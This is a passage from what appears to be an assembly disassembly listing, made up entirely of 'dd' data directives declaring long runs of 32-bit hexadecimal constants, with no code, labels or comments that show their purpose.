		dd 3B5B1D9h, 62CBE0AFh,	63878391h, 98CA0EF6h, 0AAE88167h
		dd 7914DCE9h, 68E717D3h, 0EDF48F95h, 0EC45BA43h, 0A74CA11Bh
		dd 21D66170h, 314CC082h, 193FE2D8h, 86C88E1Eh, 64FBB288h
		dd 54E1ED52h, 7D2991E6h, 0B149F89Dh, 9AC88E16h,	795787A2h
		dd 77EE8CBBh, 0B6722FF2h, 0C2FAE819h, 8A5ED1B3h, 0CDF0671Bh
		dd 0C40BD17Dh, 4DE3D35h, 0C8A89D62h, 698655B2h,	57830D01h
		dd 0E4192D76h, 491790DEh, 8C09B2EAh, 3DE1399Eh,	6AB42F56h
		dd 1D98EE3Bh, 0C6D17D3Bh, 0F00C1F07h, 8E297254h, 0ECC49098h
		dd 0EAF5C0C0h, 0A32F703Ch, 0F7AE5FEFh, 9FEF0h, 0B97E9677h
		dd 0CB9B571Fh, 10E971Ah, 0DE837410h, 0BDEBEEF9h, 0A49C2E62h
		dd 9998807Dh, 6B302A01h, 36A49DF6h, 6EB2BE5Bh, 0A9F63146h
		dd 5F982A89h, 9447312Ch, 369B4BF8h, 0D7B262B0h,	0F06BD82Bh
		dd 45F96C1Fh, 276F5157h, 0AE0A199Bh, 350E76E2h,	0DA9C1812h
		dd 463213F2h, 0A5EDD7C1h, 0BB78BDEBh, 0B87D7F12h, 196A0E34h
		dd 0B12DA2E9h, 271EC135h, 9AADC4FBh, 6A7874E5h,	80D3688Eh
		dd 0E6D7FA75h, 0C2129F50h, 6378D108h, 0CB402B3Bh, 0A64A25F1h
		dd 737BB98Ah, 37CE3336h, 659890D8h, 675417F5h, 0CDEC25CBh
		dd 0F81A679Ch, 0E1C13392h, 9D7EC30Dh, 81A33305h, 2CFB62EFh
		dd 29817136h, 0E898358Bh, 0ABB7FC55h, 1CF5F7B0h, 6F8F3463h
		dd 42DAE301h, 30BE2F08h, 0E0AFA753h, 1194B696h,	0CB0977B7h
		dd 29845D58h, 0B0D2EB8h, 0EE3A8BA2h, 6D1FC784h,	139ABA54h
		dd 54A96B8Ch, 3075B5E3h, 3FD8AEE2h, 0AC133101h,	51409400h
		dd 220EE5BAh, 68B59A4Fh, 0A523A2C2h, 1B52CDD5h,	0B89FAC73h
		dd 0EBF9754Ah, 0CB475A0Ch, 5F27FE4Ah, 0AEBF656Eh, 2A95856h
		dd 2EFDBC1Fh, 98E368BFh, 4E2D545Ah, 0A1F61FA7h,	0B76BAA85h
		dd 6D3BC56Bh, 0A83BDDE9h, 0C1FF33A0h, 0D971B1FFh, 0E5F19E03h
		dd 0BF55C597h, 0A353EED0h
		dd 372AA265h, 0CCCD3B48h, 28E21F82h, 0C462D6C3h, 5CDB947Dh
		dd 111C28D0h, 0DDC1AE39h, 5337CFDAh, 83E2E4AFh,	0DA005F69h
		dd 0C1AE7617h, 64118A00h, 0A30A394Fh, 241EFC88h, 0C658A8F3h
		dd 6EF9D8F5h, 318D603Bh, 5F857F14h, 0E9F9429Ah,	39FA2BDAh
		dd 130B9577h, 8BC61B3Eh, 647E6F8Dh, 29559AD7h, 5F78E81Fh
		dd 652A3BEAh, 85A277B1h, 0A675937Ah, 6EAB8D78h,	72B616D4h
		dd 67091D27h, 23CC6513h, 5D4068C8h, 62E3936Dh, 0F79C0705h
		dd 35E677AAh, 0F17AADE8h, 0EC9B1F8Ch, 0CDF52306h, 36409AE2h
		dd 337FE188h, 6B199D5Fh, 0FC9B61CFh, 0CAFDCD40h, 3D57E05Dh
		dd 0DFEA1893h, 9DD31CEFh, 99DE8499h, 0E08AF8C4h, 0A666AA50h
		dd 91EAED82h, 8AE2E4C8h, 8A4EFDF0h, 291CE6CCh, 95A2F309h
		dd 545C5BECh, 8577D763h, 313050A6h, 0E0049B45h,	0A2B25B03h
		dd 0DAB492FEh, 0DC67C3D2h, 0F8243F1Dh, 2AA242C0h, 324CFD6Fh
		dd 2E728F41h, 0FE1A5B1Bh, 0FEE336FAh, 0FAC9B749h, 0D1FAE528h
		dd 26D383FEh, 4864DCB1h, 0CFFBA900h, 0A57C6CCFh, 2BDD195Fh
		dd 0BC5C885Ah, 0EC3ED07Bh, 99B41639h, 0FA7F0E59h, 341745AEh
		dd 0A12BB317h, 5E79AF8Dh, 525F4ECAh, 31688D78h,	6D6EC61Eh
		dd 0F2D59C66h, 0E3B0C055h, 56811B9Bh, 5BC150E7h, 0EBFEFB43h
		dd 92E6F820h, 0B9261654h, 28DEAE6Ch, 0FB1CE5B1h, 88033DA2h
		dd 4DBA52B3h, 0CE95CD1Dh, 65268746h, 0DBD118CEh, 80B816EEh
		dd 454BED70h, 0F0AB730Bh, 0B01CBD7h, 97E06AA4h,	0DED97FB9h
		dd 334D71EDh, 0D0DC02CBh, 0B21C2F28h, 0A0AE12B2h, 621E5DD8h
		dd 0C0B61B97h, 7812B360h, 0E5C4D723h, 8E644A2Fh, 0A56B62F6h
		dd 9983EDD9h, 0E4C8E8Dh, 0D15DC13Fh, 36CDCD4Eh,	9698DDF4h
		dd 750D88D1h, 0C7474ADCh, 9131FEDCh, 2650ECCCh,	79E7FCFBh
		dd 0BEAEFC45h, 1249413Fh, 3FF91BBEh, 11D5F533h,	0C253BCA2h
		dd 3D457317h, 5FFDE93h,	0B802926Eh, 92B52983h, 99D0E577h
		dd 2A6A1D5Ah, 19D728FDh, 0D7D8E920h, 0FCE2C9DCh, 9563A2FCh
		dd 0D1A7F320h, 52A762B9h, 32AFADE8h, 28161DB3h,	0B74BA473h
		dd 57D5D0C4h, 0CD1FE484h, 6250872h, 9DC055E3h, 8E914BFBh
		dd 53EB6EBFh, 0D915542h, 93FB6A67h, 7CA7828Dh, 0AF913468h
		dd 4FA87E2Ch, 6A28A82h,	0A27D90D3h, 331FEB56h, 0B9EB1740h
		dd 0A54ED2D0h, 0E6A0EF33h, 0FBACCB22h, 41910CBFh, 560420A7h
		dd 4B2FF3DAh, 292EA079h, 0E481CBA1h, 153A9E59h,	0D30AF7Dh
		dd 0DD15EEEBh, 115F14D1h, 89AEF3CFh, 76F18AA4h,	3B066294h
		dd 332D557Dh, 0BB6502CEh, 90D7A16Dh, 1F2629A7h,	0A12FB03Ch
		dd 44B9EB97h, 0EDFFC9A8h, 0BA5F9207h, 655BA8BBh, 1778EC1Eh
		dd 96898C5Ch, 0A3D6A8C9h, 15378F3Dh, 8DC6BEDCh,	0F805E1D5h
		dd 1514578Fh, 0D6D7B45Ah, 916179B9h, 428EDE95h,	0BE6B57C2h
		dd 7F155DDCh, 4F2F40D4h, 333772FDh, 864A480Bh, 29BF15F9h
		dd 24183320h, 0E28F66F9h, 2E5D1ECEh, 0D8CE43AAh, 0F043B1ACh
		dd 0E3A47B1Fh, 6D5842EBh, 61ADE361h, 43F0C03Eh,	4B151AA1h
		dd 0A110FFB2h, 2505A78Ah, 0E5AFEA3Ah, 997A5771h, 0EABF3244h
		dd 55E23C1Ah, 0EA32F23Ch, 4C422ACDh, 0A2953032h, 4E66FE92h
		dd 0AA069633h, 0AEA0D27Fh, 33BE5C05h, 0CA81D121h, 7593CB7Dh
		dd 0B574B853h, 0E47A5B41h, 7BCA955Ch, 0DB6E10E9h, 0A1AE993h
		dd 668BCB40h, 9662DA32h, 75B59C19h, 38D0DDBDh, 2FEE0EDh
		dd 4A59CA15h, 2988BED1h, 25E8F643h, 7629FB57h, 0EA401EFEh
		dd 0B1C05E67h, 65F4C2F2h, 0B28BC3C6h, 5F37C1D4h, 8225D910h
		dd 2FBAE57Eh, 0D3F532Fh, 0DE50A5F2h, 0F24D2617h, 0F8780DACh
		dd 0E4F8F25Dh, 44A2CD5Ah, 0A62B957Bh, 7BF883AEh, 0A68DF57Ah
		dd 0D73B19FAh, 81FA469Eh, 1EF574A9h, 3851CCF0h,	2A0C5823h
		dd 707C787Eh, 0BF0EF5BAh, 0AF5A709Fh, 8A82A5CEh, 0BAA015A1h
		dd 129D73ABh, 0E60D67FDh, 0ED65BD4Bh, 88BF151Ah, 7BEB9B02h
		dd 51D993F3h, 514C82F7h, 27F860F8h, 53A15D32h, 6C2E55BDh
		dd 0D1D5204Eh, 2F3CB5BBh, 9563FEF0h, 0C9183711h, 0C3EF037Eh
		dd 0D87E439Dh, 0D6C9D934h, 84592CCFh, 0D98D59D5h, 0DB9CA6EAh
		dd 82334055h, 8B56955Eh, 9DBAFBF7h, 509A97EAh, 8E273B51h
		dd 0D3485E06h, 4A5487C5h, 4AB19FC6h, 69952B83h,	7EC28E6Ch
		dd 0E627977Eh, 0EFF88CFEh, 6E4EB581h, 6EE232B7h, 6BE31562h
		dd 17596CC4h, 98410756h, 44CFDB8h, 567575Ah, 44FF4F50h
		dd 0CCAA163Bh, 0AFBA9F0Ah, 4FF10466h, 5A175644h, 95124DC0h
		dd 0CDCDBDFAh, 72335C5Ah, 0F32FB320h, 1C1988A9h, 6535ECFEh
		dd 0B4E4EEB7h, 781F2FF1h, 688C22BEh, 594D36A5h,	3C0C81Bh
		dd 4C17B697h, 1AEDEFD8h, 0D1EA75EFh, 0ADB93DA9h, 82AA044Fh
		dd 1B03A49Ch, 5ABF5BB1h, 334E2D25h, 5CD8B5Eh, 42773CDAh
		dd 0EE65BFB3h, 0EAF2B60Ch, 7671F541h, 6DA1320Ch, 3B01ABECh
		dd 14AAF9Dh, 3DA1C0F3h,	4EDCAAD4h, 0C667B060h, 7B49F2D0h
		dd 34064F76h, 712510B7h, 0D68912F2h, 0FF0E7332h, 2EB7ADDDh
		dd 232C34F6h, 0D628055Fh, 40DEBC26h, 0F74AC793h, 5255F9CFh
		dd 573531Bh, 413D633Ch,	960C1E9Dh, 85DE2A0Bh, 0CE69BE8Ah
		dd 81DD0BCFh, 6A47B884h, 3977B03Fh, 75146B57h, 5A3C6994h
		dd 77CD1CABh, 6ECB5A68h, 2AD8B77Ah, 9D58F943h, 6524574Fh
		dd 4B51C0A0h, 97CBB645h, 0C068A0B1h, 0D791B794h, 58F9D51Dh
		dd 72E04589h, 72AE0EA4h, 0ACFD70F9h, 760B0219h,	0EA3433DDh
		dd 331BD7F3h, 0E05DD17Dh, 0A4FD24FEh, 3E3D79A2h, 80E0C87Eh
		dd 0B6D51F6Dh, 0EB39C0FCh, 0E2FD54CFh, 99CEAE89h, 0D49F788Fh
		dd 0F13A6EF8h, 0CB812AD4h, 15059251h, 0EF94B8E9h, 683ADAC0h
		dd 32B7014h, 9E4DB87Eh,	8562FB58h, 0DA3ECA80h, 5ECD550Eh
		dd 41E8B999h, 0ED90AACBh, 0E503A2E2h, 805037D3h, 0E9B7662Fh
		dd 46DA7F9Ah, 0A4AA340Bh, 0BA3DF181h, 5FE545C1h, 0D9BE4E52h
		dd 55A7703Fh, 8A94CAF8h, 0DDEDAD5Ah, 65BD0A74h,	9AEBF678h
		dd 2BF8ED30h, 2FD6C82Eh, 0D293F21Ah, 3B1204B7h,	53400E5Dh
		dd 4111E903h, 2BBDCC27h, 0E6ADFC49h, 981A71A0h,	5169A875h
		dd 941F5ABEh, 0AFAF485Bh, 9E7590E6h, 3BD7F983h,	0DCC4D381h
		dd 0BF8C9058h, 775611A9h, 5E850F0Eh, 0CFA8AF5Dh, 74359A57h
		dd 9B1334A8h, 845D5A9h,	85C7141Fh, 0D52AA693h, 99E08574h
		dd 5DBA9AC1h, 0C343FA0Bh, 8D1F8B9Eh, 625EFE76h,	0D57FEB3Bh
		dd 75C81E88h, 0BEAAB11Bh, 37C87877h, 0C0F9916Ah, 89AC3F9Dh
		dd 0D1776FDDh, 2B451FEFh, 0A3EE00CBh, 0A7DBFDAFh, 0B56A47DDh
		dd 0E840DCA3h, 8562744Eh, 671CB2ABh, 358ECBFAh,	5E87F87Fh
		dd 997A9D3Bh, 0CED26FB3h, 0C44C78ABh, 0A8DF21C5h, 0CE8E14C0h
		dd 0D4D52B83h, 293F3C06h, 64EDFCCFh, 0B037DACh,	0CD3B6857h
		dd 7EA11B54h, 0AA120AA8h, 0CBA8A356h, 621F5636h, 694C6024h
		dd 95582C4h, 88AA0F44h,	67BE379Bh, 57AEF191h, 58764A78h
		dd 959088Dh, 0A7688E08h, 0BFAB3CCEh, 5D5F91CAh,	5D8CE979h
		dd 0FCA989D6h, 5A3E6E6Fh, 722CD2A7h, 0D1B6770Fh, 0B6EFF95Dh
		dd 0D82E4B0Fh, 9A5CE469h, 2BADC557h, 0AC0F6891h, 453B6191h
		dd 91A9A2D3h, 0EF23F97Ch, 0E8E4E4B0h, 869BC99Eh, 2AAF9FCAh
		dd 5211FE22h, 3CE96820h, 3300C5AAh, 0CFCD40AAh,	9BB77364h
		dd 0D329082Ch, 8BE3DC9Ah, 65A2E839h, 25D6AB61h,	480363h
		dd 0C390543Ch, 5173E9C9h, 6232A452h, 6CCA44DBh,	18B498A5h
		dd 0F0C7F54Ah, 1D012893h
		dd 6C37C074h, 153E699h,	9D3D1E7Bh, 42A32C5Dh, 2AF4F5F2h
		dd 34E4CA52h, 597D679Dh, 4A69DA32h, 0A51D9DB4h,	31E51AAAh
		dd 0C5038983h, 0B35FFD5Ah, 18A57D3Eh, 597C1DA2h, 84C20E55h
		dd 631A306Ch, 7335A151h, 0BA8CA7ABh, 54669141h,	6F3E356Dh
		dd 3791620Ah, 1561F9F9h, 0D51E71BFh, 0E9E4FC84h, 6EBCD192h
		dd 2C7D5AE7h, 0B9966C60h, 0DCBDA24Ah, 0EBCE9B0Dh, 2B5703DCh
		dd 5667F33Bh, 498FC46Ch, 47A06C7Ch, 0E313E299h,	7A6EFD47h
		dd 0BE1B7987h, 58F55B79h, 0AA73215Fh, 0F85E2FAAh, 5B5E37F8h
		dd 12FA5565h, 0C405862Eh, 0B17ED3ACh, 0B9ACE4B2h, 3CB76B31h
		dd 0B42FBA1Ch, 0E1765A13h, 41BE3E8h, 0BC3ADC45h, 44C21B83h
		dd 0FE0190F1h, 2119261Eh, 45D2ACDDh, 0B6FAB442h, 597F2F1Ch
		dd 7A1B2175h, 0FB0D8F63h, 84E0CB85h, 0CA02E763h, 2DC3E978h
		dd 0EF7E9757h, 0D08A6264h, 0B3E78955h, 0CE73D86Fh, 2A9730A6h
		dd 22D15A09h, 51156731h, 5848E781h, 3F0B0AEBh, 0DB53736h
		dd 6629EC9h, 0C6F4C7ABh, 7A6BB2A4h, 0A16B0090h,	76A10BD7h
		dd 6A1F232Dh, 0F09EAA0Eh, 0B2FE83C9h, 58F11E92h, 0A56F9125h
		dd 65A4BE17h, 343A9945h, 0BC51DAEAh, 796BD2FFh,	0A38BCCCCh
		dd 0EADA4A76h, 46D162A4h, 5DF6A8A5h, 24399EC6h,	0D2F7EE4Fh
		dd 0BAD1B1B9h, 0DDFA4A24h, 19CDF4C9h, 8A6DCD2Ah, 0E41DA386h
		dd 68D9FB0Fh, 893C2A66h, 73B401EEh, 0C52931CAh,	0B13DFFE8h
		dd 64662E69h, 7994BAAh,	0AE9D248h, 3BF61FCAh, 549CCF59h
		dd 0FC1F07A3h, 3585EDAEh, 64A5139Dh, 1348B70Eh,	0AFC3DEB3h
		dd 0E8A374E1h, 93068285h, 0A2C35121h, 83E47842h, 0D90AFDB9h
		dd 6058A3CCh, 157068E7h, 0D8E756C0h, 56839B5Ah,	0F39343EAh
		dd 666C5D66h, 0BA9B591Eh, 0AD379967h, 0A276D6A8h, 1FA06255h
		dd 0AFD927F3h, 5A3362A9h, 64F3FC0Fh, 96E5A2D5h,	0A2AEAC84h
		dd 0A99D6561h, 0DE168129h, 4955017Fh, 6ACCE5A1h, 2AB656BFh
		dd 0DB84F417h, 81F0146Bh, 0C305CD8Fh, 2DBB792Ah, 0F4A2D29Bh
		dd 0A13194Ch, 3D335A87h, 348338Eh, 8DE250B9h, 450BB9BCh
		dd 0C53D60BDh, 28F4E43Dh, 6695B6E1h, 8761A79Ah,	0F5B5C680h
		dd 879E1BFBh, 3A842BF3h, 83264F53h, 0C3C2D621h,	6AE887BAh
		dd 7A85F026h, 6F538EDEh, 6B3AD4D9h, 0AB0CBA75h,	0B42D769Ch
		dd 0A5CE3C10h, 0AF91EB14h, 5B478E84h, 0B3C4990Eh, 570D734Ch
		dd 0EB5E942Eh, 0F4B89412h, 0DAC55D6Eh, 0E848D41Eh, 4B69C9DAh
		dd 36B038EEh, 57AC0B50h, 2A5A5416h, 66085B93h, 1D373AEEh
		dd 0A8B76FF3h, 28CE02BDh, 9B2E26EAh, 51C7B963h,	7135C419h
		dd 9D74F035h, 0B7F832F3h, 81DBCDF0h, 14BC9FF7h,	75E2FCB5h
		dd 18BC0F17h, 0CCFEBD48h, 0D9AC28B3h, 279E1647h, 0CD75B8DBh
		dd 0BF21A4AAh, 0A728EF3Ch, 0F822AB12h, 90E9935Bh, 0FA31F5B0h
		dd 31641AACh, 5D113ECBh, 8A624B84h, 0F4A38FD1h,	181E9EAFh
		dd 95F86930h, 0CB2DEFABh, 3620CEC2h, 53FCB359h,	734D4C0Fh
		dd 789787EFh, 0FE26A331h, 0F9317B13h, 579E9C5Bh, 105ECFFh
		dd 0E9AF5AB9h, 98C80FC3h, 76EF37BBh, 9B8F6B63h,	0BDF05E5h
		dd 8B3745FDh, 31CC8B97h, 9028DCC5h, 37B7555Ch, 0BAF13ABFh
		dd 0F0A59754h, 0CAADB8A2h, 629F18A7h, 0B366109Ch, 0D8CCFA50h
		dd 0D589FA96h, 0DC51E154h, 19256E77h, 0C6D9599Bh, 0DFD2F74h
		dd 0C6424648h, 0A91BB256h, 435F2E0Eh, 4B80F225h, 0BB5C8EA3h
		dd 0AACC042Ah, 8820956Eh, 0FC1B29C9h, 0F397FFD8h, 5D4D998Bh
		dd 56A04C69h, 1C761D49h, 0C592138h, 0FCEEC14Fh,	0ADC0C76Eh
		dd 3C0BBAF8h, 0ADBA734Ah, 0D3AD56A8h, 0E22FDD1Eh, 3ECD11B7h
		dd 9154E5B6h, 8D3EF12Ah, 8174AAF6h, 9A58BFD7h, 0BF1F9202h
		dd 0A44ED518h, 36F4E322h, 7D171DADh, 0F3FE6D22h, 0E8B84FB8h
		dd 2A1271B0h, 2A853C72h, 300EDF6Bh, 0B95D5722h,	7CC65DD4h
		dd 4B7D4E60h, 0FAE60515h, 0D4F6891h, 66361A46h,	0EA43731Dh
		dd 5CA2CBCDh, 78A1F17Bh, 0C908C56Ah, 0A07D4BD1h, 0F2F48FCDh
		dd 7C705B44h, 0C62CFCEh, 91FC3D8Eh, 0F2EF41EFh,	270E97DCh
		dd 0C0F8F1DAh, 0E71227FDh, 0FAE2CA76h, 6879119Ch, 99B47C12h
		dd 0DA1D5DF6h, 0E096649Fh, 0DF2F3F56h, 4DA78C1Bh, 0FF59908Ah
		dd 324FEEF3h, 9B78D8EBh, 0CAD9F0D2h, 66246F07h,	2D148D26h
		dd 0C9ECA6FFh, 0D2093B50h, 0F15517E4h, 0A027086Ch, 0CAD940EFh
		dd 0E3F290CEh, 0AF8EB468h, 0E67F7F64h, 8E50AF0Dh, 5AB7DED7h
		dd 0B53911A8h, 0BA6FC737h, 70BFAAD3h, 0A2559877h, 0DBDC61B5h
		dd 0F715A7FBh, 1BADEA6Fh, 71495FC1h, 6F861257h,	6696485Ch
		dd 0B21732D1h, 55CB52E2h, 11A2DEEh, 92B21C3Fh, 7C79EEAEh
		dd 39C47717h, 0E3CE68A1h, 1607D262h, 0DB67D16Ah, 0F95BED27h
		dd 4A226F65h, 4C6D8DEDh, 65F9CA4Ah, 0DD451C57h,	0EFB50973h
		dd 25DD447Fh, 0CFC721B3h, 0F6E49550h, 11098EBBh, 2DE55ADh
		dd 0AEE01DD2h, 49C7EDF5h, 7EEA7CD5h, 15EFCDEFh,	0C5616C2Dh
		dd 0DEC01738h, 0F8D87565h, 0A622F826h, 0C20B4ECDh, 33D1735Fh
		dd 2FC087C2h, 746E3F2Eh, 0B6E09867h, 0A7225575h, 8E8A80Ch
		dd 0FA0716DFh, 0E887DBB7h, 3386B762h, 6AD2E3F1h, 0CFDF299Bh
		dd 0ABD1C980h, 0EEE95D37h, 0E8A01F9h, 89F16DA6h, 692C1D68h
		dd 27701896h, 9DDADC4Fh, 132E4D46h, 0C35A1431h,	87E0FE29h
		dd 0AE8CF19Dh, 0D7C9F76Dh, 0F2BCD99Bh, 0F3F541ABh, 21970F36h
		dd 0E7F6B32Fh, 8F666A30h, 222F2DDAh, 3DBC64Ah, 63F1FADBh
		dd 874FD26Eh, 379BEAE9h, 0B4542565h, 0AFA457AEh, 0FC69AF8Dh
		dd 1511538Eh, 172722ADh, 2EEC980Bh, 0E7CB52A3h,	0F918A8ADh
		dd 48B7422h, 360DB3Bh, 0A53ACED1h, 9026B54Eh, 8C8D9C15h
		dd 0AC6FFAAEh, 0D6C9D38Ch, 0AED44E20h, 875359BCh, 0B648BE1Ah
		dd 357116EAh, 0B7B61ED6h, 74592B4Ch, 0BC8FBE27h, 2BD64AE0h
		dd 0AB369152h, 0C182C175h, 0FE5B8A66h, 0CCAEAAACh, 74BB2635h
		dd 9F9FE5F3h, 4DFB4FFDh, 0FEAC2F3Fh, 69CC932Fh,	70B82156h
		dd 6B1E9713h, 0EAD96D9Bh, 21DD5F1Ah, 9C126B72h,	8DFFEFCDh
		dd 82D6349Bh, 0C6F861Fh, 5761E419h, 0DFA1C3F1h,	2B07F98Ch
		dd 2F9A2CADh, 0F6C4C4F6h, 24F87A43h, 580C573Eh,	95EF2969h
		dd 2FC10F24h, 6AAA9FF9h, 89C6B946h, 285EF4Eh, 5C4F9113h
		dd 0E0951F72h, 0BC1FBD9Ah, 775152B5h, 54AD4DC4h, 5B695A90h
		dd 21A00522h, 0BC173AD3h, 0B2952706h, 0A315F563h, 5D3BFD7Dh
		dd 1D45B56Ch, 0F11E5DDEh, 0E5ED5740h, 639E8D6Ah, 3EA89E84h
		dd 1E8AC66Dh, 0D9DC9FE9h, 0F27D1A1h, 8E4BA34Bh,	0A2BA0F73h
		dd 6C7F2DC6h, 0A4D541F5h, 3CC40D4Ah, 0CA93185Ch, 0CAB3C3C4h
		dd 0EB3169E3h, 0FBD1DD8Bh, 73E568F9h, 0AB71643Dh, 0FA44E075h
		dd 0F19CBE52h, 677576DAh, 0C1E6C4BAh, 82B7FA2Bh, 0A2BAC29Ah
		dd 0D1764D7Fh, 14E97C64h, 712E3109h, 5ECD7D42h,	2FE7F315h
		dd 0ABFD6AB6h, 0FABB68A1h, 1CA22954h, 0FF346C2Dh, 0EB312FEDh
		dd 53826F54h, 2666930Eh, 569C4D73h, 4CAD0BE0h, 4DEE197Fh
		dd 0CD064656h, 4F15B51Ah, 0CA7489AEh, 91B8A28h,	6ED71A35h
		dd 2E0E2C49h, 52F43FDFh, 97F4EEBFh, 78BA0F7Eh, 414EA7A7h
		dd 58124855h, 7D6121B8h, 0CCA7B1EEh, 6A3FDC88h,	299761D2h
		dd 0C497ABEFh, 0EC8CE1F1h, 0CBDF5BBBh, 5F40C91Bh, 25F385FFh
		dd 0D9C5CD9Dh, 94BA9FC1h, 0A8DAD19Fh, 8CD4BD36h, 0B740309Dh
		dd 0B8A049FFh, 5A2AD4CAh, 21570893h, 9BC6EBC4h,	81A0B47Dh
		dd 33954FF5h, 7652B30Dh
		dd 0AE8C895Ch, 0B7FA179Eh, 0D9358F46h, 0C43E4EA7h, 1A1BE066h
		dd 97F42C27h, 9F1BF2F5h, 7D1D42E9h, 666722AFh, 52E409B3h
		dd 62B06B26h, 29755E76h, 0BB6F8EF7h, 25B24EE3h,	4B28A93Bh
		dd 37F8FEF8h, 1338ED58h, 0A6F9D4BBh, 0F3701A4Bh, 0ADB24B2Ch
		dd 0C9A2E655h, 94DCD79Dh, 54E65A23h, 16E7B76Dh,	0C8C08C7Ch
		dd 9EE83868h, 0CFD7443Fh, 1F3C7E23h, 0B3170689h, 2315CE27h
		dd 4E3C7743h, 663F7B37h, 27A07D75h, 0BA88217Ch,	0A5566BF8h
		dd 0BE8B3E5Fh, 0B0B7897Dh, 7635FB6Bh, 98E369B4h, 0BC55531Dh
		dd 0FE84393Fh, 5F371E78h, 0B7AD40B9h, 98E27559h, 3E37B81Ah
		dd 0CAE16226h, 3E0F6A68h, 8ADE26F3h, 35720DC7h,	5682CC97h
		dd 0B2C2A59Bh, 162B93E7h, 0B4FCBF24h, 12ACA0AFh, 9BA7CCBFh
		dd 77A70F7Eh, 602CD556h, 0B5B23EC6h, 9858E118h,	43F28A1Dh
		dd 36AFEE09h, 8328A28h,	0F55086ACh, 0E9BEFE9Bh,	0C3675C9Ah
		dd 6D6B8195h, 3C0F42BAh, 0FA97F81Fh, 0EB79831Fh, 7FBEE7C6h
		dd 77875969h, 0CD6F0AF1h, 62B717E3h, 2AFB563Ah,	0D33DEDDh
		dd 0F0AAFB1Ah, 0FF9DF7FCh, 886E81E9h, 29D97260h, 721CB89Bh
		dd 3AB77F86h, 0A225170h, 0AFFB67D5h, 7CD4D105h,	75F9E18Ah
		dd 0D0187FF0h, 0C1533165h, 0EEE1A5EAh, 0AD2B6932h, 0C0F7C300h
		dd 1D1F5B52h, 67EDA5B5h, 0B3DB11D7h, 3E546089h,	1A0558DFh
		dd 0E629661h, 686A336Bh, 816B78E3h, 5C63BBB5h, 0B4C617C3h
		dd 9783403Ch, 0D3D23657h, 25E0F23Fh, 54DCE2B8h,	33D46A5Ah
		dd 0E49C3321h, 300C416Ch, 0EF23C7F4h, 7EAA8E8Bh, 5678E6AFh
		dd 0FAEA231h, 0BD6459DCh, 0E3FE7937h, 0EE56CBFCh, 44E5F84Dh
		dd 0DFEAB42h, 79175611h, 3AC49805h, 0D0EB4517h,	0D42EAC9Bh
		dd 5FFBF814h, 920C2269h, 503B624h, 0DD48DDA3h, 1227A3C6h
		dd 9AD12919h, 8AB4140Eh, 28EE95C4h, 99C5304Ah, 0C4C5EC9Ch
		dd 0A85644C0h, 84E7E46Eh, 994EDB30h, 376E7F79h,	6260A17Eh
		dd 95CDEDD3h, 46C32F0Bh, 84B45774h, 6A564ABCh, 4DE20AC3h
		dd 227A008Eh, 0EAE458F6h, 84AF6BB4h, 9B0348BFh,	5A08CF51h
		dd 5C290A27h, 6427ED86h, 0C7972340h, 0A295DB59h, 7F8FE0D5h
		dd 4FA3EB19h, 361AB3C1h, 0EF0EAEB4h, 0CF13BED5h, 0D8EE18F6h
		dd 0A9FEB8F7h, 40AD52D0h, 0B124CE95h, 0FC1278Dh, 35304A7Bh
		dd 9DE9359h, 317CFD9Ch,	0AECF0D4Fh, 0E5E953A7h,	33367D05h
		dd 5EDBF1A5h, 7C668812h, 0E349E909h, 3009A578h,	0CBB70FCDh
		dd 33195995h, 330B45A5h, 0B63D0AD9h, 2A2C77A6h,	2F0144E1h
		dd 548C350Dh, 90ADFACh,	0F2AABABDh, 267E829h, 8088C24Bh
		dd 1F3D8E1Fh, 0BDCEE59Bh, 0F7B4B51Fh, 46FACCBAh, 8E8643ADh
		dd 55B3781Eh, 5C7ED654h, 0BACBD445h, 0DC3BD4h, 0E169FCB9h
		dd 48B26FA7h, 84A53294h, 45F6BA0Ah, 0B5CDD9AAh,	29EBF22Fh
		dd 4CDD4082h, 311A512Eh, 65F05F7h, 882A033Ah, 4A338EB1h
		dd 60794B8Ah, 4D830CCEh, 7D44526Dh, 34304AE2h, 5D53589Eh
		dd 9E5C5776h, 99143005h, 3FAB638Ch, 5F5C85AEh, 47FC393Ah
		dd 0ED1CE0A2h, 0CE266ABCh, 0D36B2357h, 56D8E551h, 79FCC55h
		dd 50FF6E36h, 97482899h, 8AEB8D21h, 8FC997F4h, 588B4751h
		dd 82FB5DF5h, 0D3BA9B49h, 9ABC6298h, 0EDC3B69Ch, 8FCD1358h
		dd 21F13666h, 242B1781h, 0D36ED0D4h, 0F16C5C15h, 12CBB846h
		dd 7239F7F9h, 1A8459B4h, 39ED57C8h, 0B2A418C8h,	34ABD438h
		dd 0D19D058Ah, 9A5D2D6Eh, 0F8FF4A85h, 77B3300Fh, 13E623F3h
		dd 0E3E9BDB3h, 2A52374Bh, 0E23EB2DCh, 0C6A1FB94h, 0A4FB9EDCh
		dd 0F97CE2CCh, 65F44C77h, 0A7025749h, 0A974F745h, 42027E65h
		dd 5F0199CEh, 0AEED8D45h, 266D34C1h, 0AFE1BF27h, 1CA8BFACh
		dd 2FDA9F76h, 5F06C55Fh, 0D1254B96h, 0B02226F8h, 0C1C1DAFBh
		dd 0A212C4BEh, 2AF675BEh, 0CE19C1CDh, 4FBF8AC6h, 2C879F0Eh
		dd 0F7C11783h, 9AF4A1FDh, 0F8D76D15h, 14C60A72h, 53C796EFh
		dd 97F92684h, 172977C5h, 155BC229h, 8496DA82h, 0E9C1E181h
		dd 24CE272h, 0C6FD330Ch, 0DFC524BEh, 3EC5C117h,	1D10C942h
		dd 636FC92Bh, 4BE438E4h, 0B2B5B157h, 0F41FA3F9h, 0AD8F52E7h
		dd 0AEDD9D6Eh, 297048Eh, 2C76494Ch, 0EB36FC32h,	171EB7EEh
		dd 4783D5A2h, 0A17793FDh, 0FCF1DF95h, 0F26CED85h, 0D97C8D77h
		dd 0C12EE933h, 26F3EDA3h, 8DDA6B49h, 42CEA629h,	15CDF558h
		dd 701995BDh, 41B5318Fh, 7FC7214Ch, 0B64DCAFCh,	5170FDB3h
		dd 67913DB4h, 8C21B4B7h, 67732A16h, 3D29C8B9h, 46F5A7B0h
		dd 0AD986667h, 6AB7216Eh, 0F492A815h, 32285924h, 0CC7AC60Bh
		dd 0BE566121h, 784DCFFCh, 76D5B75Bh, 0C83ADE4Eh, 60389DE0h
		dd 0D131F7F5h, 0F9D0568Eh, 3769FFC7h, 3A5A38EBh, 893713DEh
		dd 0C72531CAh, 58E68BA3h, 792582F5h, 3133DDAh, 4A96598Eh
		dd 8CB94490h, 0BDB2471Bh, 41419991h, 4BC3E353h,	0A60B73ADh
